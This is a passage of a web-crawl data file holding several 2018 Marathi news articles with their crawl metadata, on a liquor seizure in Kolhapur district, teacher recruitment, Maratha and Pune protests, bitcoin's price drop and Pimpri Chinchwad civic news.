वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › गोवा बनावटीची 35 लाखांची दारू जप्‍त\nगोवा बनावटीची 35 लाखांची दारू जप्‍त\nचंदगड तालुक्यातील अमरोळी येथील शेतातील गोठ्यात गोवा बनावटीच्या दारूचे सुमारे 35 लाख रुपये किमतीचे 545 बॉक्स जप्‍त करण्यात आले. रविवारी दुपारी राज्य उत्पादन शुल्क विभागाने केलेल्या या कारवाईत मोटार आणि जीपसह 38 लाख 55 हजार रुपयांचा माल जप्‍त केला. गोठा मालक आणि दोन्ही वाहनांचे चालक कारवाई पथकाच्या हातावर तुरी देऊन पसार झाले.\nगोवा बनावटीची दारू कोल्हापूर जिल्ह्यात इतक्या मोठ्या प्रमाणात एकाच ठिकाणी जप्त केल्याने एकच खळबळ उडाली आहे. अमरोळी आणि कुमरी (ता. गडहिंग्लज) या गावांच्या दरम्यान असलेल्या रस्त्यापासून काही अंतरावर अमरोळी गावाच्या हद्दीत बाळू आप्पा नाईक यांचे शेत आणि गोठा असून, तेथेच ही कारवाई केल्याची माहिती राज्य उत्पादन शुल्क खात्याच्या पत्रकात दिली आहे. या कारवाईत मोटार कार (एमएच 06-डब्ल्यू-2044) आणि पिकअप जीप (एमएच07-पी-3374) ही दोन वाहने जप्त करण्यात आली आहेत. राज्य उत्पादन शुल्क खात्याच्या विभागीय उपायुक्‍त संगीता दरेकर आणि जिल्हा अधीक्षक गणेश पाटील यांच्या पथकाने ही कारवाई केली.\nयाबाबत अधिकार्‍यांनी दिलेली माहिती अशी, अमरोळी-कुमरी रस्त्यावर रविवारी विशेष तपास मोहीम राबविण्यात आली होती. त्यावेळी भरधाव वेगाने चाललेल्या वरील मोटार कारला थांबण्याचा इशारा केला असता, चालकाने अधिकच गती वाढविली. गस्तीपथक जवळ येत असल्याचे पाहून त्याने कार रस्त्याकडेला थांबवून काजूच्या बागेतून पलायन केले. पथकातील कर्मचार्‍यांनी मोटारीची तपासणी केली असता, त्यात गोवा बनावटीचे विविध ब्रँडच्या दारूचे 25 बॉक्स सापडले. पुढे शेतात गोठ्याजवळ एक जीप थांबलेली सापडली. ती तपासली असता, त्यातही गोवा बनावटीच्या बाटल्यांचे 200 बॉक्स सापडले. ही दोन्ही वाहने संबंधित गोठ्याजवळच थांबली असल्याने पथकाचा संशय बळावला. त्यानंतर उपअधीक्षक संजय पाटील, निरीक्षक पी. आर. पाटील, आर. एल. खोत व पथकाने परिसर पिंजून काढायला सुरुवात केली.\nगोठा व खोलीच्या झडतीत 320 बॉक्स सापडले. या बॉक्समध्येही गोवा बनावटीच्या मध्यम आणि महागड्या ब्रँडच्या दारूच्या बाटल्या आढळून आल्या.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Teacher-Recruitment-Process-for-the-Pavitra-portal-problem-in-Ratnagiri/", "date_download": "2018-09-25T17:23:48Z", "digest": "sha1:DDEGP36XJJJBXMOT32CJANOTW3ZBAZTG", "length": 6417, "nlines": 37, "source_domain": "www.pudhari.news", "title": " ‘पवित्र’च्या समस्यांचे निराकरण होईना | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › ‘पवित्र’च्या समस्यांचे निराकरण होईना\n‘पवित्र’च्या समस्यांचे निराकरण होईना\nराज्यातील स्थानिक स्वराज्य संस्थांसह खासगी अनुदानित, अंशत: अनुदानित व विनाअनुदानित शाळेत शिक्षक पदासाठी भरती प्रक्रिया पवित्र पोर्टलवरून राबवण्यात येणार आहे. हे पोर्टल शुक्रवारी सुरू झाले. पवित्र पोर्टलवर प्रत्येक स्तरावर माहिती भरण्यासाठीचे मार्गदर्शन शिबिर आयोजित करण्यात यावे, अशी मागणी जिल्हाभरातील डीएड्, बीएड् धारकांमधून करण्यात येत आहे.\nइतर काही जिल्ह्यांमध्ये याची प्रशिक्षण शिबिरे पार पडली. मात्र रत्नागिरीत हे शिबिर झालेले नाही. यासाठी प्राथमिक व माध्यमिकच्या शिक्षणाधिकार्‍यांनी पुढाकार घेणे आवश्यक आहे. अभियोग्यता व बुद्धीमत्ता चाचणी परीक्षा दिलेल्या उमेदवारांची नोंदणी पवित्र पोर्टलवर सुरू झाली आहे. शिक्षण सेवक भरतीची कार्यवाही ई-गव्हर्नन्स सेलद्वारे राष्ट्रीय सूचना केंद्रामार्फत ‘पवित्र’ या संगणकीय प्रणालीद्वारे होणार आहे. पवित्रचे कामकाज सुरू झाले आहे.\nशिक्षक पदासाठी अभियोग्यता व बुद्धीमत्ता चाचणी परीक्षेतील गुणांवरून भरती होणार आहे. त्या अनुषंगाने अभियोग्यता व बुद्धीमत्ता चाचणी परीक्षा दिलेल्या उमेदवारांची नोंदणी पवित्र पोर्टलवर सुरू झाली आहे. त्याबाबतचे वेळापत्रकही निश्‍चित केलेले आहे. अभियोग्यता व बुद्धीमत्ता चाचणी परीक्षा दिलेल्या उमेदवारांचे आसन क्रमांक आणि त्यांनी पवित्र पोर्टलवर नोंदणी करण्याचा दिनांक निश्‍चित केलेला आहे. दि. 6 जुलै ते 23 ऑगस्ट या कालावधीत ही नोंदणी होणार आहे.\nपवित्र पोर्टलद्वारे उमेदवार, संस्था व शासन स्तरावरून माहिती भरून घेऊन कार्यवाही करायची आहे. त्यानुसार पात्र उमेदवारांनी पवित्र पोर्टलमध्ये माहिती अचूक भरण्यासाठी कोणतेही मार्गदर्शन शिक्षण विभागाकडून करण्यात आलेले नाही. अनेक उमेदवारांना शंका येत आहेत. या शंका सोडवायच्या कशा असा प्रश्‍न उमेदवारांसमोर आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/sridevis-blind-fan-waiting-for-her-funeral-in-mumbai/", "date_download": "2018-09-25T16:54:31Z", "digest": "sha1:OHFNT5TV56ASDI7WSKGIIJOL4YS35RW4", "length": 6694, "nlines": 39, "source_domain": "www.pudhari.news", "title": " अंध चाहता श्रीदेवींच्या अंत्यदर्शनासाठी व्याकूळ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › अंध चाहता श्रीदेवींच्या अंत्यदर्शनासाठी व्याकूळ\nअंध चाहता श्रीदेवींच्या अंत्यदर्शनासाठी व्याकूळ\nमुंबई : पुढारी ऑनलाईन\nबॉलिवूडची चांदनी श्रीदेवी यांचे शनिवारी मध्यरात्री दुबईत निधन झाले. त्‍यांच्या निधनाच्या बातमीने बॉलिवूडसह त्‍यांच्या चाहत्‍यांना मोठा धक्‍का बसला. मृत्‍यूचे वृत्‍त समजल्‍यापासून श्रीदेवी यांचे अतिम दर्शन घेण्यासाठी मुंबईतील निवास्‍थानाबाहेर चाहत्‍यांनी मोठी गर्दी केली आहे. परंतु, या चाहत्‍यांमध्ये असाही एक चाहता आहे जो गेल्‍या दोन दिवसांपासून श्रीदेवी यांच्या अंतिम दर्शनासाठी त्‍यांच्या निवास्‍थानाबाहेर बसून आहे.\nसंबंधित वातम्‍या : श्रीदेवींच्या मृत्यूची केस बंद; बोनी कपूरना क्लिन चीट\n: हवाहवाईच्या जाण्याने चाहत्यांना सदमा\n: श्रीदेवींच्या मृत्यूचा नवा खुलासा; हार्टअटॅक नव्हे..\nदुबईतील कायदेशीर प्रक्रिया पूर्ण होण्यासाठी वेळ लागल्‍याने श्रीदेवी यांचे पार्थिव भारतात आणण्यास वेळ लागला. मात्र, या वेळेचा कोणताही विचार न करता उत्‍तर प्रदेशमधील जतिन वाल्मीकी नावाचा तरूण श्रीदेवी यांचे अंतिम दर्शन घेण्यासाठी त्‍यांच्या निवास्‍थानाबाहेर दोन दिवसांपासून त्‍यांच्या पार्थिवाची वाट पाहत आहे. जतिन अंध असून श्रीदेवी यांना त्‍याने कधीही पाहिले नाही पण श्रीदेवी यांनी त्‍याला केलेली मदत लक्षात ठेवून तो त्‍यांच्या दर्शनासाठी आला आहे. श्रीदेवी माझ्यासाठी खऱ्या आयुष्‍यातील देवी आहेत असे जतिन सांगतो.\nतो म्‍हणतो, ‘‘श्रीदेवी यांनी माझ्या भावाच्या ब्रेन ट्यूमरच्या ऑपरेशनसाठी मदत केली होती. त्‍यावेळी त्‍यांनी एक लाख रूपये दिले हाते आणि रूग्‍णालयाने एक लाख रूपयांचे बील माफ केले होते. त्‍यांच्यामुळेच माझा भाऊ आज जिवंत आहे. मी त्‍यांच्यासाठी काहीच करू शकत नाही मात्र, त्‍यांच्या अंतिम यात्रेत तरी सहभागी होऊ शकेतो.’’\n‘‘श्रीदेवी या सर्वांसाठी एक कलाकार आहेत पण माझ्यासाठी त्‍या देवी आहेत. त्‍यांना मी कधीही विसरणार नाही. त्‍यांच्या निधनाने मला खूप दु:ख झाले आहे.’’ अशा भावना जजिनने व्यक्‍त केल्‍या.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/maratha-karnti-morcha-in-nashik/", "date_download": "2018-09-25T17:01:14Z", "digest": "sha1:FZXLOB3N7U5QX4K47JGCAWDV6BGXAQVN", "length": 5179, "nlines": 35, "source_domain": "www.pudhari.news", "title": " मराठा समन्वय समितीचे आता उपोषणाचे हत्यार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › मराठा समन्वय समितीचे आता उपोषणाचे हत्यार\nमराठा समन्वय समितीचे आता उपोषणाचे हत्यार\nमराठा समाजाला आरक्षण मिळावे यासाठी एकदिवसीय नाशिक बंद आंदोलन केल्यानंतर सकल मराठा समन्वय समिती नाशिकतर्फे गुुरुवार (दि.26) पासून जिल्हाधिकारी व तहसील कार्यालयाबाहेर बेमुदत उपोषण केले जाणार आहे. तसेच या आंदोलनाला जिल्ह्यातील सर्व लोकप्रतिनिधींनी पाठिंबा द्यावा, असे आवाहन समितीतर्फे करण्यात आले आहे.समितीतर्फे करण गायकर यांनी शासकीय विश्रामगृह येथे पत्रकार परिषद घेऊन ही माहिती दिली.\nराज्यामध्ये ठिकठिकाणी आंदोलन करण्यात आले. नाशिकमध्ये काही अपवाद वगळता शांततेत आंदोलन पार पडले.आरक्षणासाठी आजपासून जिल्हाधिकारी कार्यालयाबाहेर बेमुदत उपोषण केले जाणार आहे. जिल्ह्यातील खासदार, आमदार, नगरसेवक, जिल्हा परिषद सदस्य यांनी उपोषणाच्या ठिकाणी येऊन आरक्षणच्या मागणीस पाठिंबा द्यावा, अशी मागणी यावेळी समितीतर्फे करण्यात आली. लोकप्रतिनिधी उपोषणस्थळी पाठिंबा देण्यासाठी उपस्थित न राहिल्यास त्यांच्या घरासमोर आंदोलन केले जाईल, असा इशारा समितीतर्फे देण्यात आला आहे. मुख्यमंत्री फडणवीस यांनी आरक्षणासाठी छत्रपत्री संभाजीराजे भोसले आणि छत्रपती उदयनराजे भोसले यांच्याशी चर्चा करावी. ज्या आंदोलकांवर गुन्हे दाखल करण्यात आले आहेत ते मागे घ्यावेत, अशी मागणी करण्यात आली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/pune-off-peacefully-in-Pune/", "date_download": "2018-09-25T17:05:09Z", "digest": "sha1:NBTSL6UXF5UO4PMVCIOTTBHYZLULN33O", "length": 11346, "nlines": 54, "source_domain": "www.pudhari.news", "title": " तुरळक घटना वगळता पुण्यात बंद शांततेत | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › तुरळक घटना वगळता पुण्यात बंद शांततेत\nतुरळक घटना वगळता पुण्यात बंद शांततेत\nकोरेगाव भीमा येथे घडलेल्या घटनेच्या निषेधार्थ पाळलेल्या बंदला पुणे शहरात प्रतिसाद मिळाला. काही ठिकाणी तोडफोडीच्या तुरळक घटना वगळता शहरात शांतता होती. दरम्यान, पुणे आणि पिंपरी- चिंचवड शहरात सोळा ठिकाणी दगडफेकीच्या घटना घडल्या असून, त्यात 6 बस आणि 12 खासगी वाहनांची तोडफोड करण्यात आली. तर, लहान-मोठे मिळून 70 मोर्चे निघाले आहेत. तसेच, एकूण 21 ठिकाणी रास्ता रोको कारण्यात आला, अशी माहिती पोलिस आयुक्त रश्मी शुक्ला यांनी दिली. शहरात पोलिसांकडून चोख बंदोबस्त ठेवण्यात आला होता.\nकोरेगाव भीमा येथे सोमवारी दोन गटांत झालेल्या वादातून दंगल उसळली. त्यानंतर बुधवारी नेते प्रकाश आंबेडकर आणि विविध संघटनांकडून महाराष्ट्र बंद पुकारण्यात आला होता. याबंदला पुणे शहरात प्रतिसाद मिळाला. शहरातील विविध भागांत सकाळपासूनच संघटनेचे कार्यकर्ते जमा होण्यास सुरुवात झाली. रास्ता रोको करीत मोर्चे निघाल्यानंतर काही ठिकाणी दगडफेकीच्या घटना घडल्या. त्यानंतर पीएमपीएमएल बस आणि खासगी वाहतुकीवर परिणाम झाला. दुपारी पीएमपी, परिवहन, तसेच खासगी वाहतूक बंद करण्यात आली. दरम्यान, काही ठिकाणी सुरू असणारी दुकाने दुपारी कार्यकत्यार्र्ंकडून बंद करण्यात आली. शहरात पीएमपीएमएल आणि खासगी वाहतूक सकाळी अकरापर्यंत सुरळीत सुरू होती.\nवेगवेगळ्या ठिकाणी चौकांमध्ये विविध संघटनांकडून रास्ता रोको करीत मोर्चे काढण्यात आले. रास्ता रोकोमुळे काही वेळ त्या-त्या भागात वाहतूककोंडी झाली होती. मात्र, मोर्चे निघाल्यानंतर पोलिसांकडून वाहतूक पूर्वपदावर आणली. दरम्यान, पुण्याच्या मध्यवस्तीत, तसेच काही ठिकाणी सुरू असणारी दुकाने बंद करण्यात आली. पुणे पोलिसांकडून सकाळपासूनच कडेकोट बंदोबस्त तैनात करण्यात आला होता. वरिष्ठ अधिकार्‍यांसह स्थानिक पोलिस रस्त्यांवर तैनात होते. चंदननगर परिसरात दोन गट समोरा-समोर आल्यानंतर तणाव निर्माण झाला होता. मात्र, पोलिसांनी वेळीच धाव घेतली. त्यामुळे तणाव निवळला. शहरात दगडफेकीच्या घटना वगळता शहरात सर्वत्र शांतता होती.\nदिवसभरात 70 मोर्चे निघाले\nपुणे आणि पिंपरी-चिंचवडमध्ये 25 ते 500 लोकांपर्यंतचे दिवसभरात एकूण 70 मोर्चे निघाले, तर दगडफेकीच्या 16 घटना घडल्या. त्यात 6 पीएमपीएमएल आणि 12 खासगी वाहनांची तोडफोड झाली. तसेच, तीन ठिकाणी पथारी व्यावसायिकांना हुसकावून गाडे बंद करण्यात आले. एकूण 21 ठिकाणी रास्ता रोको करण्यात आला असून, दोन ठिकाणी रस्त्यावर टायर जाळण्यात आले आहेत, अशी माहिती पोलिस आयुक्त रश्मी शुक्ला यांनी दिली. तसेच, नागरिकांनी अफवांवर विश्‍वास ठेवू नये, असे आवाहनही शुक्ला यांनी केले आहे. शहरात कोठेही लाठी चार्ज करण्यात आलेला नाही.\nएकबोटे यांच्या घरासमोर घोषणाबाजी\nदांडेकर पुलावर रास्ता रोको सुरू असतानाच मिलिंद एकबोटे यांच्या घरावर मोर्चा काढण्यात येईल, असे समजल्यानंतर पोलिसांची धावपळ उडाली. पोलिसांकडून समजूत काढण्यात आली. त्यानंतर हा मोर्चा जिल्हाधिकारी कार्यालयाकडे गेला. मात्र, सुरक्षितेतच्या कारणावरून मिलिंद एकबोटे यांच्या घरासमोर पोलिस बंदोबस्त तैनात करण्यात आला होता. त्यातच दुपारी एकबोटे यांच्या घरासमोर काही कार्यकर्त्यांनी घोषणाबाजी करीत तेथे निदर्शने केली. त्यामुळे काही काळ याठिकाणी तणाव निर्माण झाला होता. दरम्यान गिरीश बापट यांच्या घरावर मोर्चा निघाला, अशी अफवा काही वेळांतच पसरली. तो मोर्चा टिळक रोडवरून डेक्कन चौकात आला. त्यानंतर संभाजी महाराज पुतळ्यापासून नदीपात्रमार्गे नारायणपेठेतून एबीसी चौकात गेला. बापट यांच्या घराकडे न जाता तो शनिवारवाड्यापासून मोर्चा पुढे गेला. बापट यांच्या घराकडे मोर्चा येणार असल्याचे समजल्याने पोलिसांची चांगलीच धावपळ उडाली होती.\nतुरळक घटना वगळता पुण्यात बंद शांततेत\nएकबोटे, भिडे गुरुजींविरोधात आणखी एक तक्रार\nपुणे : डॉक्टरांच्या निष्काळजीपणामुळेच 'दीपक'चा मृत्यू\nआंदोलनकर्ते पुणे स्थानकावर, रेल्वे मात्र वेळापत्रकानुसारच धावल्या\nकोण आहेत संभाजी भिडे आणि मिलिंद एकबोटे\n'दंगलीचे सूत्रधार शोधून कडक कारवाई करा'\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://amp.esakal.com/arthavishwa/bitcoin-prices-tumble-below-7000-dollar-106609", "date_download": "2018-09-25T17:22:25Z", "digest": "sha1:QZWLY6FY5XTL224VGH7UCRXBNOZXPVW5", "length": 8966, "nlines": 48, "source_domain": "amp.esakal.com", "title": "Bitcoin Prices Tumble Below 7000 dollar \"बिटकॉइन'चा नवा नीचांक! | eSakal", "raw_content": "\nवृत्तसंस्था | शनिवार, 31 मार्च 2018\nमध्यंतरी \"रॅन्समवेअर'मुळे चर्चेत आलेल्या बिटकॉइन या व्हर्च्युअल करन्सीने 7 फेब्रुवारीनंतर नवीन नीचांक केला आहे. जागतिक बाजारात एका बिटकॉइनचे मूल्य 6,800 अमेरिकी डॉलरवर पोचले आहे.\nमुंबई: मध्यंतरी \"रॅन्समवेअर'मुळे चर्चेत आलेल्या बिटकॉइन या व्हर्च्युअल करन्सीने 7 फेब्रुवारीनंतर नवीन नीचांक केला आहे. जागतिक बाजारात एका बिटकॉइनचे मूल्य 6,800 अमेरिकी डॉलरवर पोचले आहे. म्हणजेच भारतीय रुपयात सध्या एका बिटकॉइनचे मूल्य सुमारे 4 लाख 42 हजार रुपये आहे.\nआशियाई देशांमध्ये व्हर्च्युअल करन्सीवर लागू करण्यात आलेले नवीन नियम आणि जपानमध्ये व्हर्च्युअल करन्सीचे असलेले मिस्टर एक्सचेंज आणि टोकिओ गेटवे चौकशीसाठी चालू आठवड्यात बंद करण्यात आले. त्यामुळे बिटकॉइन पुन्हा एकादा 6,800 अमेरिकी डॉलरवर पोचला. शिवाय बिटकॉइनप्रमाणेच व्हर्च्युअल करन्सी असलेल्या रिप्पल आणि इथेरिअमच्या मूल्यात देखील घट झाली आहे. तज्ज्ञांनी यापूर्वीच व्हर्च्युअल करन्सीच्या मूल्यवाढीचा हा फुगा असून, तो कधीही फुटण्याची शक्‍यता असल्याचे मत व्यक्त केले होते. विशेष म्हणजे, सात वर्षांपूर्वी एका बिटकॉइनचे मूल्य फक्त 8 रुपये म्हणजेच 0.003 डॉलर इतके होते.\nगेल्या काही दिवसांत आभासी चलनाच्या मूल्यात वेगाने वाढ झाली आहे. काही महिन्यांपूर्वी एका बिटकॉइनचे मूल्य 15 हजार अमेरिकी डॉलरच्या पुढे गेल्याने तमाम अर्थविश्‍वाचे डोळे विस्फारले गेले होते. मागणी आणि पुरवठा तत्वावर मूल्य ठरणाऱ्या या चलनातील ही वाढ म्हणजे एकप्रकारे फुगा असून, तो जोरात फुटूही शकतो, अशी भीती काहींनी त्यावेळी व्यक्त केली होती.\nजगातील काही देशांमध्ये बिटकॉइनला कायदेशीर मान्यता देण्यात आली आहे. विशेषत: जर्मनी आणि जपानने या चलनाला कायदेशीर मान्यता दिल्यानंतर त्याच्या मूल्यात मोठी वृद्धी झाली आहे. भारतात मात्र बिटकॉइनला कोणत्याही प्रकारची कायदेशीर मान्यता देण्यात आलेली नाही. त्याचमुळे अर्थ मंत्रालयानेदेखील सर्वसामान्य गुंतवणूकदारांना याबाबत सावधगिरी बाळगण्याचे आवाहन केले आहे. कारण रिझर्व्ह बॅंकेसारख्या कोणत्याही मध्यवर्ती बॅंकेचे या चलनावर आणि त्याच्या व्यवहारांवर नियंत्रण वा नियमन नाही.\nसध्या जगभरासह भारतात देखील बिटकॉइनच्या साह्याने व्यवहार सुरू झाले आहेत. त्यामुळे बिटकॉइन हा एक गुंतवणुकीचा पर्याय होऊ शकतो का, असा प्रश्न उपस्थित केला जात आहे. केंद्र सरकारने बिटकॉइनच्या संदर्भात जनतेकडून आपली मते मागवली होती.\n‘लेहमन’बुडीची दशकपूर्ती (ऋषिराज तायडे)\n२००८ च्या जागतिक मंदीला या आठवड्यात दहा वर्ष पूर्ण होत आहेत. त्याला कारणीभूत ठरलेल्या महत्त्वाच्या कारणांपैकी एक म्हणजे लेहमन ब्रदर्स या महाकाय...\nमोदी-अंबानींचा भारताविरुद्धच 'सर्जिकल स्ट्राईक' : राहुल गांधी\nनवी दिल्ली : वादग्रस्त राफेल करारावरून काँग्रेसचे अध्यक्ष राहुल गांधी यांनी केंद्र सरकारवर आज (शनिवार) जोरदार हल्ला केला. 'पंतप्रधान नरेंद्र...\nसरकारकडूनच रिलायन्सची शिफारस; फ्रान्सच्या माजी अध्यक्षांचा खुलासा\nनवी दिल्ली, ता. 21 ः राफेल विमाननिर्मिती करणारी कंपनी \"डसॉस्ट'ने \"ऑफसेट' तरतुदीनुसार रिलायन्स डिफेन्स (अनिल अंबानी) या भारतीय कंपनीला भागीदार...\nहिंजवडी -शिवाजीनगर मेट्रोला केंद्राची मंजुरी\nपुणे - पुणे महनगर प्रदेश विकास प्राधिकरणाने (पीएमआरडीए) हाती घेतलेल्या हिंजवडी ते शिवाजीनगर या मेट्रो प्रकल्पावर केंद्र सरकारच्या मान्यतेची...\nलॉंड्री व्यावसायिकांना स्वस्त दरात वीज\nनागपूर - वीजबिलाच्या वाढीव दरामुळे मेटाकुटीस आलेल्या राज्यातील लॉंड्री व्यावसायिकांना राज्य सरकारने दिलासा दिला आहे. सरकार त्यांना औद्योगिक...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00314.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%85%E0%A4%AD%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%A8/", "date_download": "2018-09-25T18:00:01Z", "digest": "sha1:WKIM6VVCNWDJAQ2FH4NQ4V3UJWGJIHYS", "length": 6714, "nlines": 72, "source_domain": "pclive7.com", "title": "अभियान | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवडमधील कचराकुंड्या ‘ओव्हरफ्लो’, स्वच्छ भारत अभियानाचा बोजवारा\nपिंपरी (Pclive7.com):- एकेकाळी क्लीन सिटी म्हणून बहुमान मिळविलेल्या पिंपरी चिंचवड शहरात आता स्वच्छ भारत अभियानाचा बोजबारा उडाला आहे. केवळ सर्वेक्षणात गुण प्राप्त व्हावेत, याकरिता कागदोपत्री...\tRead more\nझी मराठी सारेगमप विजेता अक्षय घाणेकरने केले जलपर्णीमुक्त पवना अभियानात श्रमदान\nपिंपरी (Pclive7.com):- रोटरी क्लब ऑफ वाल्हेकरवाडीच्या ‘जलपर्णी मुक्त स्वच्छ व सुंदर पवनामाई उगम ते संगम’ या अभियानाला १२८ दिवस पूर्ण झाले. रविवार दि.११ रोजी केजुबाई बंधारा थेरगाव...\tRead more\nरोटरी क्लब ऑफ वाल्हेकरवाडीने शिवजयंती केली नदी स्वच्छतेतून साजरी\nपिंपरी (Pclive7.com):- रोटरी क्लब ऑफ वाल्हेकरवाडीच्या ‘जलपर्णी मुक्त स्वच्छ व सुंदर पवनामाई उगम ते संगम’ या अभियानाचा १२१ वा दिवस केजुबाई बंधारा थेरगाव बोट कल्ब येथे पार पडला. शि...\tRead more\nस्वच्छ भारत अभियानाची ‘ऐंशी की तैशी’; राष्ट्रवादीच्या नगरसेविकेचे ‘कचरा फेको’ आंदोलन\nपिंपरी (Pclive7.com):- मोठा गाजावाजा करत सुरू झालेल्या स्वच्छ भारत अभियानाचा चांगलाच फज्जा शहरात उडाला आहे. पिंपरी चिंचवड शहरातील राष्ट्रवादीच्या नगरसेविका पौर्णिमा सोनवणे यांनी आज महापालिका...\tRead more\nशरद पवार यांच्या वाढदिवसानिमित्त राष्ट्रवादी युवक काँग्रेसतर्फे सदस्य नोंदणी अभियान\nपिंपरी 